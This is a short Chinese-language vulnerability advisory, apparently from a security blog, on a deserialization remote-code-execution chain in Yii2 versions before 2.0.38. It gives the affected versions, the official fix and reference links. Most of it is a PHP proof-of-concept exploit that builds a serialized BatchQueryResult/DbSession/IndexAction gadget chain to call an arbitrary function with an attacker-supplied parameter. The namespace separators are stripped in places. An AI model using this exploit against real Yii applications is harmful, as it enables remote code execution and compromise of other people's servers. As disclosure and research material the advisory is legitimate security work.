简介
如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。
该漏洞只是php 反序列化的执行链,必须要配合unserialize
函数才可以达到任意代码执行的危害。
该反序列化执行链在今年8月初已经公开,建议使用yii框架的同学排查
影响范围
Yii2 <2.0.38
修复方案
目前官方已经禁止BatchQueryResult
类被反序列化
exp
<?php
namespace yiirest {
class Action extends yiibaseAction
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yiiweb {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new yiirestIndexAction($func, $param), "run"];
}
}
}
namespace yiibase {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yiidb {
use yiibaseBaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new yiiwebDbSession($func, $param);
}
}
}
$exp = new yiidbBatchQueryResult($func, $param);
print(serialize($exp));
参考
-
https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99 -
https://xz.aliyun.com/t/8082#toc-8 -
https://github.com/AFKL-CUIT/phpggc/
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论